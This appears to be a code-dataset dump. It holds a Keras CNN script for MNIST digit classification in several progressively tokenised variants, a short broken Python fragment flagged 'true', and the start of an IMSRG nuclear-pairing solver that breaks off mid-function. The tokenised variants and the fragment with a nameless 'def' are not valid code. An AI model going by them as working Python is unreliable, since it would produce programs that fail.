"import os\r\nimport cv2\r\nimport numpy as np\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.preprocessing import OneHotEncoder\r\nfrom numpy import array\r\nimport tensorflow as tf\r\n\r\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\r\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\r\n\r\ntrain_input = []\r\ntrain_label = []\r\n\r\nlabel_encoder = LabelEncoder() # LabelEncoder Class 호출\r\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\r\nonehot_encoder = OneHotEncoder(sparse=False)\r\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\r\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\r\n\r\nfor index in range(len(train_folder_list)):\r\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\r\n path = path + '/'\r\n img_list = os.listdir(path)\r\n for img in img_list:\r\n img_path = os.path.join(path, img)\r\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\r\n train_input.append([np.array(img)])\r\n train_label.append([np.array(index)])\r\n\r\ntrain_input = np.reshape(train_input, (-1, 28, 28))\r\ntrain_label = np.reshape(train_label, (-1,))\r\ntrain_input = np.array(train_input).astype(np.float32)\r\ntrain_label = np.array(train_label).astype(np.float32)\r\nnp.save(\"train_data.npy\", train_input)\r\nnp.save(\"train_label.npy\", train_label)\r\n\r\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\r\ntest_folder_list = array(os.listdir(TEST_DIR))\r\n\r\ntest_input = []\r\ntest_label = []\r\n\r\nlabel_encoder = LabelEncoder()\r\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\r\n\r\nonehot_encoder = OneHotEncoder(sparse=False)\r\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\r\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\r\n\r\nfor index in range(len(test_folder_list)):\r\n path = os.path.join(TEST_DIR, test_folder_list[index])\r\n path = path + '/'\r\n img_list = os.listdir(path)\r\n for img in img_list:\r\n img_path = os.path.join(path, img)\r\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\r\n test_input.append([np.array(img)])\r\n test_label.append([np.array(index)])\r\n\r\ntest_input = np.reshape(test_input, (-1, 28, 28))\r\ntest_label = np.reshape(test_label, (-1,))\r\ntest_input = np.array(test_input).astype(np.float32)\r\ntest_label = np.array(test_label).astype(np.float32)\r\nnp.save(\"test_input.npy\", test_input)\r\nnp.save(\"test_label.npy\", test_label)\r\n\r\n\r\n#-*- coding: utf-8 -*-\r\nfrom keras.datasets import mnist\r\nfrom keras.utils import np_utils\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\r\nfrom keras.callbacks import ModelCheckpoint,EarlyStopping\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\n\r\n\r\n# seed 값 설정\r\nseed = 0\r\nnp.random.seed(seed)\r\ntf.set_random_seed(seed)\r\n\r\n# 데이터 불러오기\r\n\r\n# test_input = []\r\n# test_label = []\r\n#\r\n# train_input = []\r\n# train_label = []\r\nX_train = train_input\r\nY_train = train_label\r\nX_test = test_input\r\nY_test = test_label\r\n\r\nprint('X train shape')\r\nprint(X_train.shape)\r\nprint('Y train shape')\r\nprint(Y_train.shape)\r\nprint('X test shape')\r\nprint(X_test.shape)\r\nprint('y test shape')\r\nprint(Y_test.shape)\r\n\r\n#(X_train, Y_train), (X_test, Y_test) = mnist.load_data()\r\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\r\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\r\nY_train = np_utils.to_categorical(Y_train)\r\nY_test = np_utils.to_categorical(Y_test)\r\n\r\n# 컨볼루션 신경망의 설정\r\nmodel = Sequential()\r\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu'))\r\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=2))\r\nmodel.add(Dropout(0.25))\r\nmodel.add(Flatten())\r\nmodel.add(Dense(128, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(10, activation='softmax'))\r\n\r\nmodel.compile(loss='categorical_crossentropy',\r\n optimizer='adam',\r\n metrics=['accuracy'])\r\n\r\n# 모델 최적화 설정\r\nMODEL_DIR = './model/'\r\nif not os.path.exists(MODEL_DIR):\r\n os.mkdir(MODEL_DIR)\r\n\r\nmodelpath=\"./model/{epoch:02d}-{val_loss:.4f}.hdf5\"\r\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True)\r\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\r\n\r\n# 모델의 실행\r\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer])\r\n\r\n# 테스트 정확도 출력\r\nprint(\"\\n Test Accuracy: %.4f\" % (model.evaluate(X_test, Y_test)[1]))\r\n\r\n# 테스트 셋의 오차\r\ny_vloss = history.history['val_loss']\r\n\r\n# 학습셋의 오차\r\ny_loss = history.history['loss']\r\n\r\n# 그래프로 표현\r\nx_len = np.arange(len(y_loss))\r\nplt.plot(x_len, y_vloss, marker='.', c=\"red\", label='Testset_loss')\r\nplt.plot(x_len, y_loss, marker='.', c=\"blue\", label='Trainset_loss')\r\n\r\n# 그래프에 그리드를 주고 레이블을 표시\r\nplt.legend(loc='upper right')\r\nplt.grid()\r\nplt.xlabel('epoch')\r\nplt.ylabel('loss')\r\nplt.show()\r\n",
"import os\nimport cv2\nimport numpy as np\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\nfrom numpy import array\nimport tensorflow as tf\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\ntrain_input = []\ntrain_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\ntrain_input = np.reshape(train_input, (-1, 28, 28))\ntrain_label = np.reshape(train_label, (-1,))\ntrain_input = np.array(train_input).astype(np.float32)\ntrain_label = np.array(train_label).astype(np.float32)\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\ntest_folder_list = array(os.listdir(TEST_DIR))\ntest_input = []\ntest_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\ntest_input = np.reshape(test_input, (-1, 28, 28))\ntest_label = np.reshape(test_label, (-1,))\ntest_input = np.array(test_input).astype(np.float32)\ntest_label = np.array(test_label).astype(np.float32)\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\nfrom keras.datasets import mnist\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping\nimport matplotlib.pyplot as plt\nseed = 0\nnp.random.seed(seed)\ntf.set_random_seed(seed)\nX_train = train_input\nY_train = train_label\nX_test = test_input\nY_test = test_label\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\nY_train = np_utils.to_categorical(Y_train)\nY_test = np_utils.to_categorical(Y_test)\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\nMODEL_DIR = './model/'\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\nmodelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',\n verbose=1, save_best_only=True)\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),\n epochs=15, batch_size=100, verbose=0, callbacks=[\n early_stopping_callback, checkpointer])\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\ny_vloss = history.history['val_loss']\ny_loss = history.history['loss']\nx_len = np.arange(len(y_loss))\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n",
"<import token>\nTRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/'\ntrain_folder_list = array(os.listdir(TRAIN_DIR))\ntrain_input = []\ntrain_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(train_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\ntrain_input = np.reshape(train_input, (-1, 28, 28))\ntrain_label = np.reshape(train_label, (-1,))\ntrain_input = np.array(train_input).astype(np.float32)\ntrain_label = np.array(train_label).astype(np.float32)\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\nTEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/'\ntest_folder_list = array(os.listdir(TEST_DIR))\ntest_input = []\ntest_label = []\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(test_folder_list)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\ntest_input = np.reshape(test_input, (-1, 28, 28))\ntest_label = np.reshape(test_label, (-1,))\ntest_input = np.array(test_input).astype(np.float32)\ntest_label = np.array(test_label).astype(np.float32)\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\n<import token>\nseed = 0\nnp.random.seed(seed)\ntf.set_random_seed(seed)\nX_train = train_input\nY_train = train_label\nX_test = test_input\nY_test = test_label\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\nX_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255\nX_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255\nY_train = np_utils.to_categorical(Y_train)\nY_test = np_utils.to_categorical(Y_test)\nmodel = Sequential()\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\nMODEL_DIR = './model/'\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\nmodelpath = './model/{epoch:02d}-{val_loss:.4f}.hdf5'\ncheckpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss',\n verbose=1, save_best_only=True)\nearly_stopping_callback = EarlyStopping(monitor='val_loss', patience=10)\nhistory = model.fit(X_train, Y_train, validation_data=(X_test, Y_test),\n epochs=15, batch_size=100, verbose=0, callbacks=[\n early_stopping_callback, checkpointer])\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\ny_vloss = history.history['val_loss']\ny_loss = history.history['loss']\nx_len = np.arange(len(y_loss))\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n",
"<import token>\n<assignment token>\nfor index in range(len(train_folder_list)):\n path = os.path.join(TRAIN_DIR, train_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n train_input.append([np.array(img)])\n train_label.append([np.array(index)])\n<assignment token>\nnp.save('train_data.npy', train_input)\nnp.save('train_label.npy', train_label)\n<assignment token>\nfor index in range(len(test_folder_list)):\n path = os.path.join(TEST_DIR, test_folder_list[index])\n path = path + '/'\n img_list = os.listdir(path)\n for img in img_list:\n img_path = os.path.join(path, img)\n img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE)\n test_input.append([np.array(img)])\n test_label.append([np.array(index)])\n<assignment token>\nnp.save('test_input.npy', test_input)\nnp.save('test_label.npy', test_label)\n<import token>\n<assignment token>\nnp.random.seed(seed)\ntf.set_random_seed(seed)\n<assignment token>\nprint('X train shape')\nprint(X_train.shape)\nprint('Y train shape')\nprint(Y_train.shape)\nprint('X test shape')\nprint(X_test.shape)\nprint('y test shape')\nprint(Y_test.shape)\n<assignment token>\nmodel.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1),\n activation='relu'))\nmodel.add(Conv2D(64, (3, 3), activation='relu'))\nmodel.add(MaxPooling2D(pool_size=2))\nmodel.add(Dropout(0.25))\nmodel.add(Flatten())\nmodel.add(Dense(128, activation='relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(10, activation='softmax'))\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=[\n 'accuracy'])\n<assignment token>\nif not os.path.exists(MODEL_DIR):\n os.mkdir(MODEL_DIR)\n<assignment token>\nprint(\"\"\"\n Test Accuracy: %.4f\"\"\" % model.evaluate(X_test, Y_test)[1])\n<assignment token>\nplt.plot(x_len, y_vloss, marker='.', c='red', label='Testset_loss')\nplt.plot(x_len, y_loss, marker='.', c='blue', label='Trainset_loss')\nplt.legend(loc='upper right')\nplt.grid()\nplt.xlabel('epoch')\nplt.ylabel('loss')\nplt.show()\n",
"<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n"
] | false |
9,909 |
1be5de71615eae6c9074e67b0dcaabbac4d82e2b
|
def
a = 10
b = 2
c = 3
cal(a,b,c)
|
[
"def\n\na = 10\nb = 2\nc = 3\n\ncal(a,b,c)"
] | true |
9,910 |
0eb86fc64b74c79cace838e2d71ed92533123229
|
#!/usr/bin/env python
#------------------------------------------------------------------------------
# imsrg_pairing.py
#
# author: H. Hergert
# version: 1.5.0
# date: Dec 6, 2016
#
# tested with Python v2.7
#
# Solves the pairing model for four particles in a basis of four doubly
# degenerate states by means of an In-Medium Similarity Renormalization
# Group (IMSRG) flow.
#
#------------------------------------------------------------------------------
import numpy as np
from numpy import array, dot, diag, reshape, transpose
from scipy.linalg import eigvalsh
from scipy.integrate import odeint, ode
from sys import argv
#-----------------------------------------------------------------------------------
# basis and index functions
#-----------------------------------------------------------------------------------
def construct_basis_2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
def construct_basis_ph2B(holes, particles):
basis = []
for i in holes:
for j in holes:
basis.append((i, j))
for i in holes:
for a in particles:
basis.append((i, a))
for a in particles:
for i in holes:
basis.append((a, i))
for a in particles:
for b in particles:
basis.append((a, b))
return basis
#
# We use dictionaries for the reverse lookup of state indices
#
def construct_index_2B(bas2B):
index = { }
for i, state in enumerate(bas2B):
index[state] = i
return index
#-----------------------------------------------------------------------------------
# transform matrices to particle-hole representation
#-----------------------------------------------------------------------------------
def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):
dim = len(basph2B)
Gamma_ph = np.zeros((dim, dim))
for i1, (a,b) in enumerate(basph2B):
for i2, (c, d) in enumerate(basph2B):
Gamma_ph[i1, i2] -= Gamma[idx2B[(a,d)], idx2B[(c,b)]]
return Gamma_ph
def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):
dim = len(bas2B)
Gamma = np.zeros((dim, dim))
for i1, (a,b) in enumerate(bas2B):
for i2, (c, d) in enumerate(bas2B):
Gamma[i1, i2] -= Gamma_ph[idxph2B[(a,d)], idxph2B[(c,b)]]
return Gamma
#-----------------------------------------------------------------------------------
# commutator of matrices
#-----------------------------------------------------------------------------------
def commutator(a,b):
return dot(a,b) - dot(b,a)
#-----------------------------------------------------------------------------------
# norms of off-diagonal Hamiltonian pieces
#-----------------------------------------------------------------------------------
def calc_fod_norm(f, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
norm = 0.0
for a in particles:
for i in holes:
norm += f[a,i]**2 + f[i,a]**2
return np.sqrt(norm)
def calc_Gammaod_norm(Gamma, user_data):
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
norm = 0.0
for a in particles:
for b in particles:
for i in holes:
for j in holes:
norm += Gamma[idx2B[(a,b)],idx2B[(i,j)]]**2 + Gamma[idx2B[(i,j)],idx2B[(a,b)]]**2
return np.sqrt(norm)
#-----------------------------------------------------------------------------------
# occupation number matrices
#-----------------------------------------------------------------------------------
def construct_occupation_1B(bas1B, holes, particles):
dim = len(bas1B)
occ = np.zeros(dim)
for i in holes:
occ[i] = 1.
return occ
# diagonal matrix: n_a - n_b
def construct_occupationA_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] - occ1B[j]
return occ
# diagonal matrix: 1 - n_a - n_b
def construct_occupationB_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = 1. - occ1B[i] - occ1B[j]
return occ
# diagonal matrix: n_a * n_b
def construct_occupationC_2B(bas2B, occ1B):
dim = len(bas2B)
occ = np.zeros((dim,dim))
for i1, (i,j) in enumerate(bas2B):
occ[i1, i1] = occ1B[i] * occ1B[j]
return occ
#-----------------------------------------------------------------------------------
# generators
#-----------------------------------------------------------------------------------
def eta_brillouin(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
# (1-n_a)n_i - n_a(1-n_i) = n_i - n_a
eta1B[a, i] = f[a,i]
eta1B[i, a] = -f[a,i]
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]]
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_imtime(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
dE = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = np.sign(dE)*f[a,i]
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
dE = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = np.sign(dE)*Gamma[idx2B[(a,b)], idx2B[(i,j)]]
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = f[a,i]/denom
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white_mp(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a,a] - f[i,i]
val = f[a,i]/denom
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
)
val = Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_white_atan(f, Gamma, user_data):
dim1B = user_data["dim1B"]
particles = user_data["particles"]
holes = user_data["holes"]
idx2B = user_data["idx2B"]
# one-body part of the generator
eta1B = np.zeros_like(f)
for a in particles:
for i in holes:
denom = f[a,a] - f[i,i] + Gamma[idx2B[(a,i)], idx2B[(a,i)]]
val = 0.5 * np.arctan(2 * f[a,i]/denom)
eta1B[a, i] = val
eta1B[i, a] = -val
# two-body part of the generator
eta2B = np.zeros_like(Gamma)
for a in particles:
for b in particles:
for i in holes:
for j in holes:
denom = (
f[a,a] + f[b,b] - f[i,i] - f[j,j]
+ Gamma[idx2B[(a,b)],idx2B[(a,b)]]
+ Gamma[idx2B[(i,j)],idx2B[(i,j)]]
- Gamma[idx2B[(a,i)],idx2B[(a,i)]]
- Gamma[idx2B[(a,j)],idx2B[(a,j)]]
- Gamma[idx2B[(b,i)],idx2B[(b,i)]]
- Gamma[idx2B[(b,j)],idx2B[(b,j)]]
)
val = 0.5 * np.arctan(2 * Gamma[idx2B[(a,b)], idx2B[(i,j)]] / denom)
eta2B[idx2B[(a,b)],idx2B[(i,j)]] = val
eta2B[idx2B[(i,j)],idx2B[(a,b)]] = -val
return eta1B, eta2B
def eta_wegner(f, Gamma, user_data):
dim1B = user_data["dim1B"]
holes = user_data["holes"]
particles = user_data["particles"]
bas2B = user_data["bas2B"]
basph2B = user_data["basph2B"]
idx2B = user_data["idx2B"]
idxph2B = user_data["idxph2B"]
occB_2B = user_data["occB_2B"]
occC_2B = user_data["occC_2B"]
occphA_2B = user_data["occphA_2B"]
# split Hamiltonian in diagonal and off-diagonal parts
fd = np.zeros_like(f)
fod = np.zeros_like(f)
Gammad = np.zeros_like(Gamma)
Gammaod = np.zeros_like(Gamma)
for a in particles:
for i in holes:
fod[a, i] = f[a,i]
fod[i, a] = f[i,a]
fd = f - fod
for a in particles:
for b in particles:
for i in holes:
for j in holes:
Gammaod[idx2B[(a,b)], idx2B[(i,j)]] = Gamma[idx2B[(a,b)], idx2B[(i,j)]]
Gammaod[idx2B[(i,j)], idx2B[(a,b)]] = Gamma[idx2B[(i,j)], idx2B[(a,b)]]
Gammad = Gamma - Gammaod
#############################
# one-body part of the generator
eta1B = np.zeros_like(f)
# 1B - 1B
eta1B += commutator(fd, fod)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
for a in particles:
eta1B[p,q] += (
fd[i,a] * Gammaod[idx2B[(a, p)], idx2B[(i, q)]]
- fd[a,i] * Gammaod[idx2B[(i, p)], idx2B[(a, q)]]
- fod[i,a] * Gammad[idx2B[(a, p)], idx2B[(i, q)]]
+ fod[a,i] * Gammad[idx2B[(i, p)], idx2B[(a, q)]]
)
# 2B - 2B
# n_a n_b nn_c + nn_a nn_b n_c = n_a n_b + (1 - n_a - n_b) * n_c
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for i in holes:
eta1B[p,q] += 0.5*(
GammaGamma[idx2B[(i,p)], idx2B[(i,q)]]
- transpose(GammaGamma)[idx2B[(i,p)], idx2B[(i,q)]]
)
GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
eta1B[p,q] += 0.5*(
GammaGamma[idx2B[(r,p)], idx2B[(r,q)]]
+ transpose(GammaGamma)[idx2B[(r,p)], idx2B[(r,q)]]
)
#############################
# two-body flow equation
eta2B = np.zeros_like(Gamma)
# 1B - 2B
for p in range(dim1B):
for q in range(dim1B):
for r in range(dim1B):
for s in range(dim1B):
for t in range(dim1B):
eta2B[idx2B[(p,q)],idx2B[(r,s)]] += (
fd[p,t] * Gammaod[idx2B[(t,q)],idx2B[(r,s)]]
+ fd[q,t] * Gammaod[idx2B[(p,t)],idx2B[(r,s)]]
- fd[t,r] * Gammaod[idx2B[(p,q)],idx2B[(t,s)]]
- fd[t,s] * Gammaod[idx2B[(p,q)],idx2B[(r,t)]]
- fod[p,t] * Gammad[idx2B[(t,q)],idx2B[(r,s)]]
- fod[q,t] * Gammad[idx2B[(p,t)],idx2B[(r,s)]]
+ fod[t,r] * Gammad[idx2B[(p,q)],idx2B[(t,s)]]
+ fod[t,s] * Gammad[idx2B[(p,q)],idx2B[(r,t)]]
)
# 2B - 2B - particle and hole ladders
# Gammad.occB.Gammaod
GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))
eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))
# 2B - 2B - particle-hole chain
# transform matrices to particle-hole representation and calculate
# Gammad_ph.occA_ph.Gammaod_ph
Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)
Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)
GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))
# transform back to standard representation
GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B)
# commutator / antisymmetrization
work = np.zeros_like(GammaGamma)
for i1, (i,j) in enumerate(bas2B):
for i2, (k,l) in enumerate(bas2B):
work[i1, i2] -= (
GammaGamma[i1, i2]
- GammaGamma[idx2B[(j,i)], i2]
- GammaGamma[i1, idx2B[(l,k)]]
